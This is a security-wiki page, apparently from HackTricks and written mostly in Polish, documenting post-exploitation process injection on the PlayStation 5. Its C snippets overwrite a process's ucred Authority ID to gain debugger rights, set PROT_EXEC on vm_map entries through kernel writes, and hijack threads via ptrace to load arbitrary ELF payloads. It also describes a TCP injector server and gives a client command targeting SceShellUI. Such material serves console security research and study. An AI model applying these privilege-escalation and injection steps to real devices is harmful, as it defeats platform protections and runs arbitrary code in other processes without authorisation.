# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study) {{#include ../banners/hacktricks-training.md}} ## Overview Ta strona dokumentuje praktyczną technikę iniekcji procesu/ELF w trybie użytkownika Unix/BSD na PlayStation 5 (PS5), która oparta jest na FreeBSD. Metoda uogólnia się na pochodne FreeBSD, gdy już posiadasz kernel read/write (R/W) primitives. W skrócie: - Zmodyfikuj bieżące poświadczenia procesu (ucred), aby nadać uprawnienia debuggera, umożliwiając ptrace/mdbg na dowolnych procesach użytkownika. - Znajdź procesy docelowe, przeglądając listę allproc w jądrze. - Obejście ograniczeń PROT_EXEC przez ustawienie vm_map_entry.protection |= PROT_EXEC w vm_map procesu docelowego za pomocą zapisów do pamięci jądra. - Użyj ptrace do wykonania Remote Function Invocation (RFI): zawieś wątek, ustaw rejestry, aby wywołać dowolne funkcje wewnątrz celu, wznowienie, zbierz wartości zwrotne i przywróć stan. - Zmapuj i uruchom dowolne payloady ELF wewnątrz procesu docelowego używając in-process ELF loadera, następnie uruchom dedykowany wątek wykonujący twój payload i wywołujący breakpoint, aby się czysto odłączyć. PS5 hypervisor mitigations warte odnotowania (sformułowane w kontekście tej techniki): - XOM (execute-only .text) uniemożliwia odczyt/zapis .text jądra. - Wyczyszczenie CR0.WP lub wyłączenie CR4.SMEP powoduje hypervisor vmexit (crash). Tylko zapisy do danych jądra są wykonalne. - Userland mmap jest domyślnie ograniczony do PROT_READ|PROT_WRITE. Przyznanie PROT_EXEC musi być zrobione przez edycję wpisów vm_map w pamięci jądra. Ta technika jest post-exploitation: zakłada istnienie kernel R/W primitives uzyskanych w chainie exploita. Publiczne payloady demonstrują to do firmware 10.01 w momencie pisania. ## Kernel data-only primitives ### Process discovery via allproc FreeBSD utrzymuje dwukierunkową listę procesów w kernel .data pod allproc. Mając kernel read primitive, iteruj ją, aby zlokalizować nazwy procesów i PIDs: ```c struct proc* find_proc_by_name(const char* proc_name){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry if (!strcmp(proc->p_comm, proc_name)) return proc; kernel_copyout(next, &next, sizeof(uint64_t)); // advance next } while (next); free(proc); return NULL; } void list_all_proc_and_pid(){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); printf("%s - %d\n", proc->p_comm, proc->pid); kernel_copyout(next, &next, sizeof(uint64_t)); } while (next); free(proc); } ``` Notatki: - KERNEL_ADDRESS_ALLPROC jest zależny od firmware. - p_comm to nazwa o stałej długości; rozważ wyszukiwania pid->proc w razie potrzeby. ### Podnieś poświadczenia do debugowania (ucred) Na PS5 struct ucred zawiera pole Authority ID dostępne przez proc->p_ucred. Zapisanie wartości Authority ID odpowiadającej debuggerowi przyznaje ptrace/mdbg nad innymi procesami: ```c void set_ucred_to_debugger(){ struct proc* proc = get_proc_by_pid(getpid()); if (proc){ uintptr_t authid = 0; // read current (optional) uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t)); kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t)); free(proc); } } ``` - Offset 0x58 jest specyficzny dla rodziny firmware PS5 i musi być zweryfikowany dla każdej wersji. - Po tym zapisie injector może przyłączyć się i instrumentować procesy użytkownika za pomocą ptrace/mdbg. ## Omijanie mapowań użytkownika tylko RW: vm_map PROT_EXEC flip Userland mmap może być ograniczony do PROT_READ|PROT_WRITE. FreeBSD śledzi przestrzeń adresową procesu w vm_map z węzłami vm_map_entry (BST plus lista). Każdy wpis zawiera pola protection i max_protection: ```c struct vm_map_entry { struct vm_map_entry *prev,*next,*left,*right; vm_offset_t start, end, avail_ssize; vm_size_t adj_free, max_free; union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags; vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; int wired_count; vm_pindex_t lastr; }; ``` Mając kernel R/W możesz zlokalizować target’s vm_map i ustawić entry->protection |= PROT_EXEC (a w razie potrzeby entry->max_protection). Uwagi praktyczne dotyczące implementacji: - Przechodź wpisy albo liniowo przez next, albo używając balanced-tree (left/right) dla wyszukiwania po zakresie adresów w O(log n). - Wybierz znany region RW, którym zarządzasz (scratch buffer lub mapped file) i dodaj PROT_EXEC, aby móc stage’ować kod lub loader thunki. - Kod PS5 SDK dostarcza helpery do szybkiego map-entry lookup i przełączania protekcji. To omija userland’s mmap policy przez bezpośrednią edycję kernel-owned metadata. ## Remote Function Invocation (RFI) with ptrace FreeBSD nie ma Windows-owego VirtualAllocEx/CreateRemoteThread. Zamiast tego wymuszasz, aby target wywołał funkcje wewnątrz siebie pod kontrolą ptrace: 1. Attachnij się do targetu i wybierz wątek; może mieć zastosowanie PTRACE_ATTACH lub PS5-specific mdbg flows. 2. Zapisz kontekst wątku: registers, PC, SP, flags. 3. Zapisz argument registers zgodnie z ABI (x86_64 SysV lub arm64 AAPCS64), ustaw PC na docelową funkcję i opcjonalnie umieść dodatkowe args/stack według potrzeby. 4. Wykonuj single-step lub kontynuuj aż do kontrolowanego stopu (np. software breakpoint lub sygnał), potem odczytaj wartości zwracane z regs. 5. Przywróć oryginalny kontekst i kontynuuj. Use cases: - Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory. - Invoke helper routines to fetch returned entrypoints and payload-args pointers. Example of driving the ELF loader: ```c intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target); intptr_t args = elfldr_payload_args(target_pid); printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args); ``` Loader mapuje segmenty, rozwiązuje imports, stosuje relocations i zwraca punkt wejścia (często CRT bootstrap) oraz nieprzezroczysty wskaźnik payload_args, który Twój stager przekazuje do payload’s main(). ## Threaded stager and clean detach Minimalny stager wewnątrz celu tworzy nowy pthread, który uruchamia main ELF-a, a następnie wywołuje int3, aby zasygnalizować injectorowi, żeby się odłączył: ```c int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){ pthread_t thread; functions->pthread_create_ptr(&thread, 0, (void*(*)(void*))functions->elf_main, functions->payload_args); asm("int3"); return 0; } ``` - Wskaźniki SCEFunctions/payload_args są dostarczane przez loader/SDK glue. - Po breakpoint i detach payload kontynuuje w osobnym thread. ## Pełny pipeline (implementacja referencyjna dla PS5) Działająca implementacja jest dostarczana jako mały TCP injector server oraz skrypt klienta: - NineS server nasłuchuje na TCP 9033 i odbiera nagłówek zawierający nazwę procesu docelowego, po którym następuje ELF image: ```c typedef struct __injector_data_t{ char proc_name[MAX_PROC_NAME]; Elf64_Ehdr elf_header; } injector_data_t; ``` - Użycie klienta Python: ```bash python3 ./send_injection_elf.py SceShellUI hello_world.elf ``` Przykład Hello-world payload (loguje do klog): ```c #include #include #include int main(){ klog_printf("Hello from PID %d\n", getpid()); return 0; } ``` ## Praktyczne uwagi - Offsety i stałe (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) są specyficzne dla firmware i muszą być aktualizowane dla każdej wersji. - Zabezpieczenia hypervisora wymuszają zapisy do jądra wyłącznie jako dane; nie próbuj patchować CR0.WP lub CR4.SMEP. - Pamięć JIT jest alternatywą: niektóre procesy udostępniają PS5 JIT APIs do alokacji wykonywalnych stron. Zmiana ochrony vm_map usuwa konieczność polegania na sztuczkach JIT/mirroring. - Utrzymuj mechanizm zapisu/przywracania rejestrów odporny na błędy; w razie niepowodzenia możesz doprowadzić do deadlock lub crash targetu. ## Publiczne narzędzia - PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk - ELF loader: https://github.com/ps5-payload-dev/elfldr - Injector server: https://github.com/buzzer-re/NineS/ - Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils - Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv ## Źródła - [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/) - [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk) - [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr) - [buzzer-re/NineS](https://github.com/buzzer-re/NineS/) - [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils) - [Mira](https://github.com/OpenOrbis/mira-project) - [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv) - [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html) {{#include ../banners/hacktricks-training.md}}